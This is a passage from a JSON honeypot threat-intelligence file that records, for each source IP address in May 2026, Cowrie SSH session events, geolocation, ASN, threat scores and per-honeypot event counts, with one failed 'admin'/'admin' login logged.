      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:03:12.042000+00:00",
        "last_seen_30d": "2026-05-20T14:51:46.852000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "14.103.127.243": {
      "attack_count": 4,
      "first_seen": "2026-05-10T17:43:54.802Z",
      "last_seen": "2026-05-10T17:43:55.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T17:43:54.802000+00:00",
        "last_seen_30d": "2026-05-10T17:45:04.308000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.255": {
      "attack_count": 4,
      "first_seen": "2026-05-26T22:50:21.915Z",
      "last_seen": "2026-05-26T22:50:24.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T05:02:14.372000+00:00",
        "last_seen_30d": "2026-05-31T19:25:06.943000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "205.210.31.132": {
      "attack_count": 4,
      "first_seen": "2026-05-13T23:34:53.912Z",
      "last_seen": "2026-05-13T23:34:56.296Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.8,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 13,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T06:22:45.159000+00:00",
        "last_seen_30d": "2026-05-15T23:50:22.671000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Honeytrap": 2,
        "ConPot": 1
      }
    },
    "66.132.186.188": {
      "attack_count": 4,
      "first_seen": "2026-05-25T06:09:32.242Z",
      "last_seen": "2026-05-25T06:09:47.271Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 29,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T06:17:15+00:00",
        "last_seen_30d": "2026-05-31T04:57:10.628000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 95,
        "Honeytrap": 54,
        "Dionaea": 5,
        "Cowrie": 4,
        "ElasticPot": 3,
        "Sentrypeer": 1
      }
    },
    "72.61.58.12": {
      "attack_count": 4,
      "first_seen": "2026-05-29T13:01:13.097Z",
      "last_seen": "2026-05-29T13:01:14.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T13:01:13.097000+00:00",
        "last_seen_30d": "2026-05-29T13:02:17.646000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "101.96.192.184": {
      "attack_count": 3,
      "first_seen": "2026-05-09T18:45:06.866Z",
      "last_seen": "2026-05-09T18:47:06.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T04:28:38+00:00",
        "last_seen_30d": "2026-05-09T18:57:39.111000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3,
        "Honeytrap": 1
      }
    },
    "104.152.52.234": {
      "attack_count": 3,
      "first_seen": "2026-05-07T05:01:12.850Z",
      "last_seen": "2026-05-07T05:01:12.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 16.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 20,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T00:39:08.781000+00:00",
        "last_seen_30d": "2026-05-24T05:03:20.379000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "Dionaea": 2
      }
    },
    "161.97.184.127": {
      "attack_count": 3,
      "first_seen": "2026-05-17T12:43:32.234Z",
      "last_seen": "2026-05-17T12:44:34.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:43:32.234000+00:00",
        "last_seen_30d": "2026-05-17T12:45:38.219000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "105.163.157.164": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:40:03.658Z",
      "last_seen": "2026-05-08T10:40:18.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 33771,
      "as_org": "SAFARICOM-LIMITED",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:40:03.658000+00:00",
        "last_seen_30d": "2026-05-08T10:41:34.318000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.113.68.163": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:28:11.625Z",
      "last_seen": "2026-05-22T17:28:38.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:28:11.625000+00:00",
        "last_seen_30d": "2026-05-22T17:29:45.320000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.81.52.30": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:46:31.374Z",
      "last_seen": "2026-05-23T05:46:44.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:46:31.374000+00:00",
        "last_seen_30d": "2026-05-23T05:47:53.080000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.15.17": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:20:12.577Z",
      "last_seen": "2026-05-23T02:20:46.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:20:12.577000+00:00",
        "last_seen_30d": "2026-05-23T02:21:49.409000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.114.252": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:04:43.544Z",
      "last_seen": "2026-05-23T12:05:16.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:04:43.544000+00:00",
        "last_seen_30d": "2026-05-23T12:06:22.091000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.233.0.169": {
      "attack_count": 2,
      "first_seen": "2026-05-02T02:39:58.598Z",
      "last_seen": "2026-05-02T02:40:11.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:39:58.598000+00:00",
        "last_seen_30d": "2026-05-02T02:41:53.010000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.169.23.2": {
      "attack_count": 2,
      "first_seen": "2026-05-15T18:27:23.614Z",
      "last_seen": "2026-05-15T18:27:54.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:27:23.614000+00:00",
        "last_seen_30d": "2026-05-15T18:29:03.670000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.179.92.194": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:47:11.036Z",
      "last_seen": "2026-05-21T08:47:24.562Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:47:11.036000+00:00",
        "last_seen_30d": "2026-05-21T08:48:28.059000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.96.48.132": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:11:40.051Z",
      "last_seen": "2026-05-11T12:11:53.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:11:40.051000+00:00",
        "last_seen_30d": "2026-05-11T12:13:00.738000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.134.33.91": {
      "attack_count": 2,
      "first_seen": "2026-05-13T06:47:09.799Z",
      "last_seen": "2026-05-13T06:47:40.845Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Saha-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:47:09.799000+00:00",
        "last_seen_30d": "2026-05-13T06:48:50.284000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "138.97.162.58": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:18:18.235Z",
      "last_seen": "2026-05-06T18:18:31.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": "Managua",
      "asn": 263751,
      "as_org": "CASAVISION, S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:18:18.235000+00:00",
        "last_seen_30d": "2026-05-06T18:19:32.640000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.188.241.58": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:26:16.262Z",
      "last_seen": "2026-05-09T08:26:28.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Woodbridge",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:26:16.262000+00:00",
        "last_seen_30d": "2026-05-09T08:27:30.353000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.48.91.170": {
      "attack_count": 2,
      "first_seen": "2026-05-11T10:07:32.064Z",
      "last_seen": "2026-05-11T10:07:45.844Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kota",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:07:32.064000+00:00",
        "last_seen_30d": "2026-05-11T10:08:54.828000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.191.137.153": {
      "attack_count": 2,
      "first_seen": "2026-05-09T16:39:58.228Z",
      "last_seen": "2026-05-09T16:40:11.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Tosh\u0101m",
      "asn": 153233,
      "as_org": "TOSHAM TELECOM PRIVATE LIMITED",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:39:58.228000+00:00",
        "last_seen_30d": "2026-05-09T16:41:11.794000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.123": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:36:44.735Z",
      "last_seen": "2026-05-24T20:38:44.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:36:44.735000+00:00",
        "last_seen_30d": "2026-05-24T20:41:00.138000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.18.31.186": {
      "attack_count": 2,
      "first_seen": "2026-05-06T19:00:03.723Z",
      "last_seen": "2026-05-06T19:00:16.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:00:03.723000+00:00",
        "last_seen_30d": "2026-05-06T19:01:26.733000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.222.152.18": {
      "attack_count": 2,
      "first_seen": "2026-05-14T04:02:48.152Z",
      "last_seen": "2026-05-14T04:03:01.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "La Paz",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:02:48.152000+00:00",
        "last_seen_30d": "2026-05-14T04:04:07.033000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.186.7.103": {
      "attack_count": 2,
      "first_seen": "2026-05-15T18:33:22.664Z",
      "last_seen": "2026-05-15T18:33:35.439Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Culiac\u00e1n",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T18:33:22.664000+00:00",
        "last_seen_30d": "2026-05-15T18:34:36.020000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.225": {
      "attack_count": 2,
      "first_seen": "2026-05-20T05:14:02.415Z",
      "last_seen": "2026-05-20T05:14:02.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:02:07.218000+00:00",
        "last_seen_30d": "2026-05-30T02:33:19.921000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 25,
        "Cowrie": 2,
        "CitrixHoneypot": 1
      }
    },
    "202.51.197.10": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:00:52.421Z",
      "last_seen": "2026-05-14T08:01:06.037Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 55685,
      "as_org": "PT Jala Lintas Media",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
